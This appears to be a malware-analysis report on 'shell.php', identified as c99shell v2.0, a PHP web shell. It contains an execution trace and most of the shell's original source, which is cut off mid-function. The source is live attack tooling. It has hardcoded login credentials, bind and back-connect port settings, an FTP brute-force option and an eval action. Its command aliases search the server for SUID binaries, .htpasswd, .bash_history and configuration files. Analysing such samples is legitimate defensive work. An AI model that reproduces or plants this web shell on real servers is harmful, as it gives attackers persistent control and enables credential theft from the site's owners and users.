PHP Malware Analysis

shell.php

md5: 9a74ec5c619aaca5c99c1b5a11e9396c

Jump to:

Screenshot


Attributes

Emails

Encoding

Environment

Execution

Files

Input

Title

URLs


Deobfuscated PHP code

Failed to deobfuscate code

Execution traces

data/traces/9a74ec5c619aaca5c99c1b5a11e9396c_trace-1676253778.0868.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 00:03:23.984656]
1	0	1	0.000207	393512
1	3	0	0.005114	1306824	{main}	1		/var/www/html/uploads/shell.php	0	0
2	4	0	0.005136	1306824	function_exists	0		/var/www/html/uploads/shell.php	23	1	'getmicrotime'
2	4	1	0.005153	1306864
2	4	R			FALSE
2	5	0	0.005167	1306824	error_reporting	0		/var/www/html/uploads/shell.php	31	1	5
2	5	1	0.005181	1306864
2	5	R			22527
2	6	0	0.005194	1306824	ignore_user_abort	0		/var/www/html/uploads/shell.php	32	1	TRUE
2	6	1	0.005209	1306888
2	6	R			0
2	7	0	0.005222	1306856	substr	0		/var/www/html/uploads/shell.php	33	3	'Linux'	0	3
2	7	1	0.005237	1306984
2	7	R			'Lin'
2	8	0	0.005251	1306888	strtolower	0		/var/www/html/uploads/shell.php	33	1	'Lin'
2	8	1	0.005263	1306952
2	8	R			'lin'
1		A						/var/www/html/uploads/shell.php	33	$win = FALSE
2	9	0	0.005291	1306856	getmicrotime	1		/var/www/html/uploads/shell.php	34	0
3	10	0	0.005303	1306856	microtime	0		/var/www/html/uploads/shell.php	27	0
3	10	1	0.005316	1306904
3	10	R			'0.09202600 1676253778'
3	11	0	0.005330	1306904	explode	0		/var/www/html/uploads/shell.php	27	2	' '	'0.09202600 1676253778'
3	11	1	0.005345	1307432
3	11	R			[0 => '0.09202600', 1 => '1676253778']
2		A						/var/www/html/uploads/shell.php	27	$usec = '0.09202600'
2		A						/var/www/html/uploads/shell.php	27	$sec = '1676253778'
2	9	1	0.005384	1306856
2	9	R			1676253778.092
2	12	0	0.005399	1306856	define	0		/var/www/html/uploads/shell.php	34	2	'starttime'	1676253778.092
2	12	1	0.005413	1306960
2	12	R			TRUE
2	13	0	0.005426	1306888	get_magic_quotes_gpc	0		/var/www/html/uploads/shell.php	35	0
2	13	1	0.005438	1306888
2	13	R			FALSE
2	14	0	0.005452	1306888	array_merge	0		/var/www/html/uploads/shell.php	59	3	[]	[]	[]
2	14	1	0.005466	1307008
2	14	R			[]
1		A						/var/www/html/uploads/shell.php	59	$_REQUEST_REQUEST = []
1		A						/var/www/html/uploads/shell.php	67	$shver = '2.0 [PHP 7 Update] [25.02.2019]'
1		A						/var/www/html/uploads/shell.php	80	$surl = NULL
1		A						/var/www/html/uploads/shell.php	82	$surl_autofill_include = TRUE
1		A						/var/www/html/uploads/shell.php	85	$include = '&'
2	15	0	0.005538	1306888	getenv	0		/var/www/html/uploads/shell.php	86	1	'QUERY_STRING'
2	15	1	0.005552	1306952
2	15	R			''
2	16	0	0.005565	1306920	explode	0		/var/www/html/uploads/shell.php	86	2	'&'	''
2	16	1	0.005578	1307368
2	16	R			[0 => '']
2	17	0	0.005592	1307264	explode	0		/var/www/html/uploads/shell.php	88	2	'='	''
2	17	1	0.005604	1307712
2	17	R			[0 => '']
1		A						/var/www/html/uploads/shell.php	88	$v = [0 => '']
2	18	0	0.005628	1307640	urldecode	0		/var/www/html/uploads/shell.php	89	1	''
2	18	1	0.005641	1307704
2	18	R			''
1		A						/var/www/html/uploads/shell.php	89	$name = ''
2	19	0	0.005663	1307672	urldecode	0		/var/www/html/uploads/shell.php	90	1	NULL
2	19	1	0.005676	1307736
2	19	R			''
1		A						/var/www/html/uploads/shell.php	90	$value = ''
2	20	0	0.005698	1307704	strpos	0		/var/www/html/uploads/shell.php	99	2	''	'http://'
2	20	1	0.005711	1307776
2	20	R			FALSE
2	21	0	0.005724	1307704	strpos	0		/var/www/html/uploads/shell.php	99	2	''	'https://'
2	21	1	0.005736	1307776
2	21	R			FALSE
2	22	0	0.005749	1307704	strpos	0		/var/www/html/uploads/shell.php	99	2	''	'ssl://'
2	22	1	0.005760	1307776
2	22	R			FALSE
2	23	0	0.005773	1307704	strpos	0		/var/www/html/uploads/shell.php	99	2	''	'ftp://'
2	23	1	0.005785	1307776
2	23	R			FALSE
2	24	0	0.005797	1307704	strpos	0		/var/www/html/uploads/shell.php	99	2	''	'\\\\'
2	24	1	0.005809	1307776
2	24	R			FALSE
1		A						/var/www/html/uploads/shell.php	112	$surl = '?'
2	25	0	0.005834	1307360	htmlspecialchars	0		/var/www/html/uploads/shell.php	114	1	'?'
2	25	1	0.005848	1307552
2	25	R			'?'
1		A						/var/www/html/uploads/shell.php	114	$surl = '?'
1		A						/var/www/html/uploads/shell.php	115	$timelimit = 0
1		A						/var/www/html/uploads/shell.php	116	$login = 'hackman'
1		A						/var/www/html/uploads/shell.php	117	$pass = 'eetfuck'
1		A						/var/www/html/uploads/shell.php	118	$md5_pass = ''
1		A						/var/www/html/uploads/shell.php	120	$host_allow = [0 => '*']
1		A						/var/www/html/uploads/shell.php	122	$login_txt = 'Restricted area'
1		A						/var/www/html/uploads/shell.php	123	$accessdeniedmess = '<a href="https://github.com/KaizenLouie/C99Shell-PHP7">c99shell v.2.0 [PHP 7 Update] [25.02.2019]</a>: access denied'
1		A						/var/www/html/uploads/shell.php	124	$gzipencode = TRUE
1		A						/var/www/html/uploads/shell.php	125	$updatenow = FALSE
1		A						/var/www/html/uploads/shell.php	126	$c99sh_updateurl = 'https://github.com/KaizenLouie/C99Shell-PHP7/'
1		A						/var/www/html/uploads/shell.php	127	$c99sh_sourcesurl = 'https://github.com/KaizenLouie/C99Shell-PHP7/'
1		A						/var/www/html/uploads/shell.php	128	$filestealth = TRUE
1		A						/var/www/html/uploads/shell.php	129	$donated_html = '<center><b>Owned by hacker</b></center>'
1		A						/var/www/html/uploads/shell.php	131	$donated_act = [0 => '']
1		A						/var/www/html/uploads/shell.php	133	$curdir = './'
1		A						/var/www/html/uploads/shell.php	134	$tmpdir = ''
1		A						/var/www/html/uploads/shell.php	135	$tmpdir_log = './'
1		A						/var/www/html/uploads/shell.php	136	$log_email = 'user@host.tld'
1		A						/var/www/html/uploads/shell.php	137	$sort_default = '0a'
1		A						/var/www/html/uploads/shell.php	138	$sort_save = TRUE
1		A						/var/www/html/uploads/shell.php	140	$ftypes = ['html' => [0 => 'html', 1 => 'htm', 2 => 'shtml'], 'txt' => [0 => 'txt', 1 => 'conf', 2 => 'bat', 3 => 'sh', 4 => 'js', 5 => 'bak', 6 => 'doc', 7 => 'log', 8 => 'sfc', 9 => 'cfg', 10 => 'htaccess'], 'exe' => [0 => 'sh', 1 => 'install', 2 => 'bat', 3 => 'cmd'], 'ini' => [0 => 'ini', 1 => 'inf'], 'code' => [0 => 'php', 1 => 'phtml', 2 => 'php3', 3 => 'php4', 4 => 'inc', 5 => 'tcl', 6 => 'h', 7 => 'c', 8 => 'cpp', 9 => 'py', 10 => 'cgi', 11 => 'pl'], 'img' => [0 => 'gif', 1 => 'png', 2 => 'jpeg', 3 => 'jfif', 4 => 'jpg', 5 => 'jpe', 6 => 'bmp', 7 => 'ico', 8 => 'tif', 9 => 'tiff', 10 => 'avi', 11 => 'mpg', 12 => 'mpeg'], 'sdb' => [0 => 'sdb'], 'phpsess' => [0 => 'sess'], 'download' => [0 => 'exe', 1 => 'com', 2 => 'pif', 3 => 'src', 4 => 'lnk', 5 => 'zip', 6 => 'rar', 7 => 'gz', 8 => 'tar']]
2	26	0	0.006139	1307648	getenv	0		/var/www/html/uploads/shell.php	216	1	'PHPRC'
2	26	1	0.006153	1307680
2	26	R			FALSE
1		A						/var/www/html/uploads/shell.php	216	$exeftypes = [' -q %f%' => [0 => 'php', 1 => 'php3', 2 => 'php4'], 'perl %f%' => [0 => 'pl', 1 => 'cgi']]
2	27	0	0.006184	1308056	basename	0		/var/www/html/uploads/shell.php	228	1	'/uploads/shell.php'
2	27	1	0.006199	1308128
2	27	R			'shell.php'
1		A						/var/www/html/uploads/shell.php	228	$regxp_highlight = [0 => [0 => 'shell.php', 1 => 1, 2 => '<font color="yellow">', 3 => '</font>'], 1 => [0 => 'config.php', 1 => 1]]
1		A						/var/www/html/uploads/shell.php	239	$safemode_diskettes = [0 => 'a']
1		A						/var/www/html/uploads/shell.php	241	$hexdump_lines = 8
1		A						/var/www/html/uploads/shell.php	242	$hexdump_rows = 24
1		A						/var/www/html/uploads/shell.php	243	$nixpwdperpage = 100
1		A						/var/www/html/uploads/shell.php	244	$bindport_pass = 'c99'
1		A						/var/www/html/uploads/shell.php	245	$bindport_port = '31373'
1		A						/var/www/html/uploads/shell.php	246	$bc_port = '31373'
1		A						/var/www/html/uploads/shell.php	247	$datapipe_localport = '8081'
1		A						/var/www/html/uploads/shell.php	252	$cmdaliases = [0 => [0 => '-----------------------------------------------------------', 1 => 'ls -la'], 1 => [0 => 'find all suid files', 1 => 'find / -type f -perm -04000 -ls'], 2 => [0 => 'find suid files in current dir', 1 => 'find . -type f -perm -04000 -ls'], 3 => [0 => 'find all sgid files', 1 => 'find / -type f -perm -02000 -ls'], 4 => [0 => 'find sgid files in current dir', 1 => 'find . -type f -perm -02000 -ls'], 5 => [0 => 'find config.inc.php files', 1 => 'find / -type f -name config.inc.php'], 6 => [0 => 'find config* files', 1 => 'find / -type f -name "config*"'], 7 => [0 => 'find config* files in current dir', 1 => 'find . -type f -name "config*"'], 8 => [0 => 'find all writable folders and files', 1 => 'find / -perm -2 -ls'], 9 => [0 => 'find all writable folders and files in current dir', 1 => 'find . -perm -2 -ls'], 10 => [0 => 'find all service.pwd files', 1 => 'find / -type f -name service.pwd'], 11 => [0 => 'find service.pwd files in current dir', 1 => 'find . -type f -name service.pwd'], 12 => [0 => 'find all .htpasswd files', 1 => 'find / -type f -name .htpasswd'], 13 => [0 => 'find .htpasswd files in current dir', 1 => 'find . -type f -name .htpasswd'], 14 => [0 => 'find all .bash_history files', 1 => 'find / -type f -name .bash_history'], 15 => [0 => 'find .bash_history files in current dir', 1 => 'find . -type f -name .bash_history'], 16 => [0 => 'find all .fetchmailrc files', 1 => 'find / -type f -name .fetchmailrc'], 17 => [0 => 'find .fetchmailrc files in current dir', 1 => 'find . -type f -name .fetchmailrc'], 18 => [0 => 'list file attributes on a Linux second extended file system', 1 => 'lsattr -va'], 19 => [0 => 'show opened ports', 1 => 'netstat -an | grep -i listen']]
1		A						/var/www/html/uploads/shell.php	346	$sess_cookie = 'c99shvars'
1		A						/var/www/html/uploads/shell.php	347	$usefsbuff = TRUE
1		A						/var/www/html/uploads/shell.php	348	$copy_unset = FALSE
1		A						/var/www/html/uploads/shell.php	351	$quicklaunch = [0 => [0 => '<img src="?act=img&img=home" alt="Home" height="20" width="20" border="0">', 1 => '?'], 1 => [0 => '<img src="?act=img&img=back" alt="Back" height="20" width="20" border="0">', 1 => '#" onclick="history.back(1)'], 2 => [0 => '<img src="?act=img&img=forward" alt="Forward" height="20" width="20" border="0">', 1 => '#" onclick="history.go(1)'], 3 => [0 => '<img src="?act=img&img=up" alt="UPDIR" height="20" width="20" border="0">', 1 => '?act=ls&d=%upd&sort=%sort'], 4 => [0 => '<img src="?act=img&img=refresh" alt="Refresh" height="20" width="17" border="0">', 1 => ''], 5 => [0 => '<img src="?act=img&img=search" alt="Search" height="20" width="20" border="0">', 1 => '?act=search&d=%d'], 6 => [0 => '<img src="?act=img&img=buffer" alt="Buffer" height="20" width="20" border="0">', 1 => '?act=fsbuff&d=%d'], 7 => [0 => '<b>Encoder</b>', 1 => '?act=encoder&d=%d'], 8 => [0 => '<b>Tools</b>', 1 => '?act=tools&d=%d'], 9 => [0 => '<b>Proc.</b>', 1 => '?act=processes&d=%d'], 10 => [0 => '<b>FTP brute</b>', 1 => '?act=ftpquickbrute&d=%d'], 11 => [0 => '<b>Sec.</b>', 1 => '?act=security&d=%d'], 12 => [0 => '<b>SQL</b>', 1 => '?act=sql&d=%d'], 13 => [0 => '<b>PHP-code</b>', 1 => '?act=eval&d=%d'], 14 => [0 => '<b>Update</b>', 1 => '?act=update&d=%d'], 15 => [0 => '<b>Feedback</b>', 1 => '?act=feedback&d=%d'], 16 => [0 => '<b>Self remove</b>', 1 => '?act=selfremove'], 17 => [0 => '<b>Logout</b>', 1 => '#" onclick="if (confirm(\'Are you sure?\')) window.close()']]
1		A						/var/www/html/uploads/shell.php	423	$highlight_background = '#c0c0c0'
1		A						/var/www/html/uploads/shell.php	424	$highlight_bg = '#FFFFFF'
1		A						/var/www/html/uploads/shell.php	425	$highlight_comment = '#6A6A6A'
1		A						/var/www/html/uploads/shell.php	426	$highlight_default = '#0000BB'
1		A						/var/www/html/uploads/shell.php	427	$highlight_html = '#1300FF'
1		A						/var/www/html/uploads/shell.php	428	$highlight_keyword = '#007700'
1		A						/var/www/html/uploads/shell.php	429	$highlight_string = '#000000'
1		A						/var/www/html/uploads/shell.php	430	$f = NULL
2	28	0	0.006551	1318304	extract	0		/var/www/html/uploads/shell.php	431	1	NULL
2	28	1	0.006567	1318336
2	28	R			NULL
2	29	0	0.006581	1318304	set_time_limit	0		/var/www/html/uploads/shell.php	432	1	0
2	29	1	0.006596	1318368
2	29	R			FALSE
1		A						/var/www/html/uploads/shell.php	433	$tmp = []
1		A						/var/www/html/uploads/shell.php	434	$k = 0
2	30	0	0.006629	1317960	preg_quote	0		/var/www/html/uploads/shell.php	436	1	'*'
2	30	1	0.006642	1318032
2	30	R			'\\*'
2	31	0	0.006655	1318000	str_replace	0		/var/www/html/uploads/shell.php	436	3	'\\*'	'.*'	'\\*'
2	31	1	0.006670	1318128
2	31	R			'.*'
1		A						/var/www/html/uploads/shell.php	436	$tmp[] = '.*'
2	32	0	0.006703	1318368	implode	0		/var/www/html/uploads/shell.php	438	2	'|'	[0 => '.*']
2	32	1	0.006717	1318432
2	32	R			'.*'
1		A						/var/www/html/uploads/shell.php	438	$s = '!^(.*)$!i'
2	33	0	0.006746	1318408	getenv	0		/var/www/html/uploads/shell.php	439	1	'REMOTE_ADDR'
2	33	1	0.006761	1318480
2	33	R			'127.0.0.1'
2	34	0	0.006774	1318448	preg_match	0		/var/www/html/uploads/shell.php	439	2	'!^(.*)$!i'	'127.0.0.1'
2	34	1	0.006790	1318512
2	34	R			1
2	35	0	0.006804	1318408	md5	0		/var/www/html/uploads/shell.php	447	1	'eetfuck'
2	35	1	0.006818	1318504
2	35	R			'4c4e183a8c0fce40e3563d79a2930630'
1		A						/var/www/html/uploads/shell.php	447	$md5_pass = '4c4e183a8c0fce40e3563d79a2930630'
2	36	0	0.006847	1318600	header	0		/var/www/html/uploads/shell.php	455	1	'WWW-Authenticate: Basic realm="c99shell 2.0 [PHP 7 Update] [25.02.2019]: Restricted area"'
2	36	1	0.006866	1318768
2	36	R			NULL
2	37	0	0.006880	1318608	header	0		/var/www/html/uploads/shell.php	456	1	'HTTP/1.0 401 Unauthorized'
2	37	1	0.006894	1318672
2	37	R			NULL
			0.006932	1239400
TRACE END   [2023-02-13 00:03:23.991424]


Generated HTML code

<html><head></head><body></body></html>

Original PHP code

<?php 
/*
******************************************************************************************************
       ________  ________    _________.__           .__  .__             ________     _______   
  ____/   __   \/   __   \  /   _____/|  |__   ____ |  | |  |   ___  __  \_____  \    \   _  \  
_/ ___\____    /\____    /  \_____  \ |  |  \_/ __ \|  | |  |   \  \/ /   /  ____/    /  /_\  \ 
\  \___  /    /    /    /   /        \|   Y  \  ___/|  |_|  |__  \   /   /       \    \  \_/   \
 \___  >/____/    /____/   /_______  /|___|  /\___  >____/____/   \_/ /\ \_______ \ /\ \_____  /
     \/                            \/      \/     \/                  \/         \/ \/       \/ 
 _             _   __      _               _                 _      
| |           | | / /     (_)             | |               (_)     
| |__  _   _  | |/ /  __ _ _ _______ _ __ | |     ___  _   _ _  ___ 
| '_ \| | | | |    \ / _` | |_  / _ \ '_ \| |    / _ \| | | | |/ _ \
| |_) | |_| | | |\  \ (_| | |/ /  __/ | | | |___| (_) | |_| | |  __/
|_.__/ \__, | \_| \_/\__,_|_/___\___|_| |_\_____/\___/ \__,_|_|\___|
        __/ |                                                       
       |___/                                                        
*			c99shell.php v.2.0 (PHP 7) (25.02.2019) Updated by: KaizenLouie for PHP 7
*			https://github.com/KaizenLouie/C99Shell-PHP7
******************************************************************************************************
*/

if (!function_exists("getmicrotime"))
{
    function getmicrotime()
    {
        list($usec, $sec) = explode(" ", microtime());
        return ((float)$usec + (float)$sec);
    }
}
error_reporting(5);
@ignore_user_abort(true);
$win = strtolower(substr(PHP_OS, 0, 3)) == "win";
define("starttime", getmicrotime());
if (get_magic_quotes_gpc())
{
    if (!function_exists("strips"))
    {
        function strips(&$arr, $k = "")
        {
            if (is_array($arr))
            {
                foreach ($arr as $k => $v)
                {
                    if (strtoupper($k) != "GLOBALS")
                    {
                        strips($arr["$k"]);
                    }
                }
            }
            else
            {
                $arr = stripslashes($arr);
            }
        }
    }
    strips($GLOBALS);
}
$_REQUEST = array_merge($_COOKIE, $_GET, $_POST);
foreach ($_REQUEST as $k => $v)
{
    if (!isset($$k))
    {
        $$k = $v;
    }
}
$shver = "2.0 [PHP 7 Update] [25.02.2019]";
if (!empty($unset_surl))
{
    setcookie("c99sh_surl");
    $surl = "";
}
elseif (!empty($set_surl))
{
    $surl = $set_surl;
    setcookie("c99sh_surl", $surl);
}
else
{
    $surl = $_REQUEST["c99sh_surl"];
}
$surl_autofill_include = true;
if ($surl_autofill_include and !$_REQUEST["c99sh_surl"])
{
    $include = "&";
    foreach (explode("&", getenv("QUERY_STRING")) as $v)
    {
        $v = explode("=", $v);
        $name = urldecode($v[0]);
        $value = urldecode($v[1]);
        foreach (array(
            "http://",
            "https://",
            "ssl://",
            "ftp://",
            "\\\\"
        ) as $needle)
        {
            if (strpos($value, $needle) === 0)
            {
                $includestr .= urlencode($name) . "=" . urlencode($value) . "&";
            }
        }
    }
    if ($_REQUEST["surl_autofill_include"])
    {
        $includestr .= "surl_autofill_include=1&";
    }
}
if (empty($surl))
{
    $surl = "?" . $includestr;
}
$surl = htmlspecialchars($surl);
$timelimit = 0;
$login = "hackman";
$pass = "eetfuck";
$md5_pass = "";
$host_allow = array(
    "*"
);
$login_txt = "Restricted area";
$accessdeniedmess = "<a href=\"https://github.com/KaizenLouie/C99Shell-PHP7\">c99shell v." . $shver . "</a>: access denied";
$gzipencode = true;
$updatenow = false;
$c99sh_updateurl = "https://github.com/KaizenLouie/C99Shell-PHP7/";
$c99sh_sourcesurl = "https://github.com/KaizenLouie/C99Shell-PHP7/";
$filestealth = true;
$donated_html = "<center><b>Owned by hacker</b></center>";
$donated_act = array(
    ""
);
$curdir = "./";
$tmpdir = "";
$tmpdir_log = "./";
$log_email = "user@host.tld";
$sort_default = "0a";
$sort_save = true;
$ftypes = array(
    "html" => array(
        "html",
        "htm",
        "shtml"
    ) ,
    "txt" => array(
        "txt",
        "conf",
        "bat",
        "sh",
        "js",
        "bak",
        "doc",
        "log",
        "sfc",
        "cfg",
        "htaccess"
    ) ,
    "exe" => array(
        "sh",
        "install",
        "bat",
        "cmd"
    ) ,
    "ini" => array(
        "ini",
        "inf"
    ) ,
    "code" => array(
        "php",
        "phtml",
        "php3",
        "php4",
        "inc",
        "tcl",
        "h",
        "c",
        "cpp",
        "py",
        "cgi",
        "pl"
    ) ,
    "img" => array(
        "gif",
        "png",
        "jpeg",
        "jfif",
        "jpg",
        "jpe",
        "bmp",
        "ico",
        "tif",
        "tiff",
        "avi",
        "mpg",
        "mpeg"
    ) ,
    "sdb" => array(
        "sdb"
    ) ,
    "phpsess" => array(
        "sess"
    ) ,
    "download" => array(
        "exe",
        "com",
        "pif",
        "src",
        "lnk",
        "zip",
        "rar",
        "gz",
        "tar"
    )
);
$exeftypes = array(
    getenv("PHPRC") . " -q %f%" => array(
        "php",
        "php3",
        "php4"
    ) ,
    "perl %f%" => array(
        "pl",
        "cgi"
    )
);
$regxp_highlight = array(
    array(
        basename($_SERVER["PHP_SELF"]) ,
        1,
        "<font color=\"yellow\">",
        "</font>"
    ) ,
    array(
        "config.php",
        1
    )
);
$safemode_diskettes = array(
    "a"
);
$hexdump_lines = 8;
$hexdump_rows = 24;
$nixpwdperpage = 100;
$bindport_pass = "c99";
$bindport_port = "31373";
$bc_port = "31373";
$datapipe_localport = "8081";
if (!$win)
{
    $cmdaliases = array(
        array(
            "-----------------------------------------------------------",
            "ls -la"
        ) ,
        array(
            "find all suid files",
            "find / -type f -perm -04000 -ls"
        ) ,
        array(
            "find suid files in current dir",
            "find . -type f -perm -04000 -ls"
        ) ,
        array(
            "find all sgid files",
            "find / -type f -perm -02000 -ls"
        ) ,
        array(
            "find sgid files in current dir",
            "find . -type f -perm -02000 -ls"
        ) ,
        array(
            "find config.inc.php files",
            "find / -type f -name config.inc.php"
        ) ,
        array(
            "find config* files",
            "find / -type f -name \"config*\""
        ) ,
        array(
            "find config* files in current dir",
            "find . -type f -name \"config*\""
        ) ,
        array(
            "find all writable folders and files",
            "find / -perm -2 -ls"
        ) ,
        array(
            "find all writable folders and files in current dir",
            "find . -perm -2 -ls"
        ) ,
        array(
            "find all service.pwd files",
            "find / -type f -name service.pwd"
        ) ,
        array(
            "find service.pwd files in current dir",
            "find . -type f -name service.pwd"
        ) ,
        array(
            "find all .htpasswd files",
            "find / -type f -name .htpasswd"
        ) ,
        array(
            "find .htpasswd files in current dir",
            "find . -type f -name .htpasswd"
        ) ,
        array(
            "find all .bash_history files",
            "find / -type f -name .bash_history"
        ) ,
        array(
            "find .bash_history files in current dir",
            "find . -type f -name .bash_history"
        ) ,
        array(
            "find all .fetchmailrc files",
            "find / -type f -name .fetchmailrc"
        ) ,
        array(
            "find .fetchmailrc files in current dir",
            "find . -type f -name .fetchmailrc"
        ) ,
        array(
            "list file attributes on a Linux second extended file system",
            "lsattr -va"
        ) ,
        array(
            "show opened ports",
            "netstat -an | grep -i listen"
        )
    );
}
else
{
    $cmdaliases = array(
        array(
            "-----------------------------------------------------------",
            "dir"
        ) ,
        array(
            "show opened ports",
            "netstat -an"
        )
    );
}
$sess_cookie = "c99shvars";
$usefsbuff = true;
$copy_unset = false;
$quicklaunch = array(
    array(
        "<img src=\"" . $surl . "act=img&img=home\" alt=\"Home\" height=\"20\" width=\"20\" border=\"0\">",
        $surl
    ) ,
    array(
        "<img src=\"" . $surl . "act=img&img=back\" alt=\"Back\" height=\"20\" width=\"20\" border=\"0\">",
        "#\" onclick=\"history.back(1)"
    ) ,
    array(
        "<img src=\"" . $surl . "act=img&img=forward\" alt=\"Forward\" height=\"20\" width=\"20\" border=\"0\">",
        "#\" onclick=\"history.go(1)"
    ) ,
    array(
        "<img src=\"" . $surl . "act=img&img=up\" alt=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",
        $surl . "act=ls&d=%upd&sort=%sort"
    ) ,
    array(
        "<img src=\"" . $surl . "act=img&img=refresh\" alt=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",
        ""
    ) ,
    array(
        "<img src=\"" . $surl . "act=img&img=search\" alt=\"Search\" height=\"20\" width=\"20\" border=\"0\">",
        $surl . "act=search&d=%d"
    ) ,
    array(
        "<img src=\"" . $surl . "act=img&img=buffer\" alt=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",
        $surl . "act=fsbuff&d=%d"
    ) ,
    array(
        "<b>Encoder</b>",
        $surl . "act=encoder&d=%d"
    ) ,
    array(
        "<b>Tools</b>",
        $surl . "act=tools&d=%d"
    ) ,
    array(
        "<b>Proc.</b>",
        $surl . "act=processes&d=%d"
    ) ,
    array(
        "<b>FTP brute</b>",
        $surl . "act=ftpquickbrute&d=%d"
    ) ,
    array(
        "<b>Sec.</b>",
        $surl . "act=security&d=%d"
    ) ,
    array(
        "<b>SQL</b>",
        $surl . "act=sql&d=%d"
    ) ,
    array(
        "<b>PHP-code</b>",
        $surl . "act=eval&d=%d"
    ) ,
    array(
        "<b>Update</b>",
        $surl . "act=update&d=%d"
    ) ,
    array(
        "<b>Feedback</b>",
        $surl . "act=feedback&d=%d"
    ) ,
    array(
        "<b>Self remove</b>",
        $surl . "act=selfremove"
    ) ,
    array(
        "<b>Logout</b>",
        "#\" onclick=\"if (confirm('Are you sure?')) window.close()"
    )
);
$highlight_background = "#c0c0c0";
$highlight_bg = "#FFFFFF";
$highlight_comment = "#6A6A6A";
$highlight_default = "#0000BB";
$highlight_html = "#1300FF";
$highlight_keyword = "#007700";
$highlight_string = "#000000";
@$f = $_REQUEST["f"];
@extract($_REQUEST["c99shcook"]);
@set_time_limit(0);
$tmp = array();
foreach ($host_allow as $k => $v)
{
    $tmp[] = str_replace("\\*", ".*", preg_quote($v));
}
$s = "!^(" . implode("|", $tmp) . ")$!i";
if (!preg_match($s, getenv("REMOTE_ADDR")) and !preg_match($s, gethostbyaddr(getenv("REMOTE_ADDR"))))
{
    exit("<a href=\"https://github.com/KaizenLouie/C99Shell-PHP7\">c99shell</a>: Access Denied - your host (" . getenv("REMOTE_ADDR") . ") not allow");
}
if (!empty($login))
{
    if (empty($md5_pass))
    {
        $md5_pass = md5($pass);
    }
    if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
    {
        if (empty($login_txt))
        {
            $login_txt = strip_tags(preg_replace("&nbsp;|<br>", " ", $donated_html));
        }
        header("WWW-Authenticate: Basic realm=\"c99shell " . $shver . ": " . $login_txt . "\"");
        header("HTTP/1.0 401 Unauthorized");
        exit($accessdeniedmess);
    }
}
if ($act != "img")
{
    $lastdir = realpath(".");
    chdir($curdir);
    if ($selfwrite or $updatenow)
    {
        @ob_clean();
        c99sh_getupdate($selfwrite, 1);
        exit;
    }
    $sess_data = unserialize($_COOKIE["$sess_cookie"]);
    if (!is_array($sess_data))
    {
        $sess_data = array();
    }
    if (!is_array($sess_data["copy"]))
    {
        $sess_data["copy"] = array();
    }
    if (!is_array($sess_data["cut"]))
    {
        $sess_data["cut"] = array();
    }
    $disablefunc = @ini_get("disable_functions");
    if (!empty($disablefunc))
    {
        $disablefunc = str_replace(" ", "", $disablefunc);
        $disablefunc = explode(",", $disablefunc);
    }
    if (!function_exists("c99_buff_prepare"))
    {
        function c99_buff_prepare()
        {
            global $sess_data;
            global $act;
            foreach ($sess_data["copy"] as $k => $v)
            {
                $sess_data["copy"][$k] = str_replace("\\", DIRECTORY_SEPARATOR, realpath($v));
            }
            foreach ($sess_data["cut"] as $k => $v)
            {
                $sess_data["cut"][$k] = str_replace("\\", DIRECTORY_SEPARATOR, realpath($v));
            }
            $sess_data["copy"] = array_unique($sess_data["copy"]);
            $sess_data["cut"] = array_unique($sess_data["cut"]);
            sort($sess_data["copy"]);
            sort($sess_data["cut"]);
            if ($act != "copy")
            {
                foreach ($sess_data["cut"] as $k => $v)
                {
                    if ($sess_data["copy"][$k] == $v)
                    {
                        unset($sess_data["copy"][$k]);
                    }
                }
            }
            else
            {
                foreach ($sess_data["copy"] as $k => $v)
                {
                    if ($sess_data["cut"][$k] == $v)
                    {
                        unset($sess_data["cut"][$k]);
                    }
                }
            }
        }
    }
    c99_buff_prepare();
    if (!function_exists("c99_sess_put"))
    {
        function c99_sess_put($data)
        {
            global $sess_cookie;
            global $sess_data;
            c99_buff_prepare();
            $sess_data = $data;
            $data = serialize($data);
            setcookie($sess_cookie, $data);
        }
    }
    foreach (array(
        "sort",
        "sql_sort"
    ) as $v)
    {
        if (!empty($_GET[$v]))
        {
            $$v = $_GET[$v];
        }
        if (!empty($_POST[$v]))
        {
            $$v = $_POST[$v];
        }
    }
    if ($sort_save)
    {
        if (!empty($sort))
        {
            setcookie("sort", $sort);
        }
        if (!empty($sql_sort))
        {
            setcookie("sql_sort", $sql_sort);
        }
    }
    if (!function_exists("str2mini"))
    {
        function str2mini($content, $len)
        {
            if (strlen($content) > $len)
            {
                $len = ceil($len / 2) - 2;
                return substr($content, 0, $len) . "..." . substr($content, -$len);
            }
            else
            {
                return $content;
            }
        }
    }
    if (!function_exists("view_size"))
    {
        function view_size($size)
        {
            if (!is_numeric($size))
            {
                return false;
            }
            else
            {
                if ($size >= 1073741824)
                {
                    $size = round($size / 1073741824 * 100) / 100 . " GB";
                }
                elseif ($size >= 1048576)
                {
                    $size = round($size / 1048576 * 100) / 100 . " MB";
                }
                elseif ($size >= 1024)
                {
                    $size = round($size / 1024 * 100) / 100 . " KB";
                }
                else
                {
                    $size = $size . " B";
                }
                return $size;
            }
        }
    }
    if (!function_exists("fs_copy_dir"))
    {
        function fs_copy_dir($d, $t)
        {
            $d = str_replace("\\", DIRECTORY_SEPARATOR, $d);
            if (substr($d, -1) != DIRECTORY_SEPARATOR)
            {
                $d .= DIRECTORY_SEPARATOR;
            }
            $h = opendir($d);
            while (($o = readdir($h)) !== false)
            {
                if (($o != ".") and ($o != ".."))
                {
                    if (!is_dir($d . DIRECTORY_SEPARATOR . $o))
                    {
                        $ret = copy($d . DIRECTORY_SEPARATOR . $o, $t . DIRECTORY_SEPARATOR . $o);
                    }
                    else
                    {
                        $ret = mkdir($t . DIRECTORY_SEPARATOR . $o);
                        fs_copy_dir($d . DIRECTORY_SEPARATOR . $o, $t . DIRECTORY_SEPARATOR . $o);
                    }
                    if (!$ret)
                    {
                        return $ret;
                    }
                }
            }
            closedir($h);
            return true;
        }
    }
    if (!function_exists("fs_copy_obj"))
    {
        function fs_copy_obj($d, $t)
        {
            $d = str_replace("\\", DIRECTORY_SEPARATOR, $d);
            $t = str_replace("\\", DIRECTORY_SEPARATOR, $t);
            if (!is_dir(dirname($t)))
            {
                mkdir(dirname($t));
            }
            if (is_dir($d))
            {
                if (substr($d, -1) != DIRECTORY_SEPARATOR)
                {
                    $d .= DIRECTORY_SEPARATOR;
                }
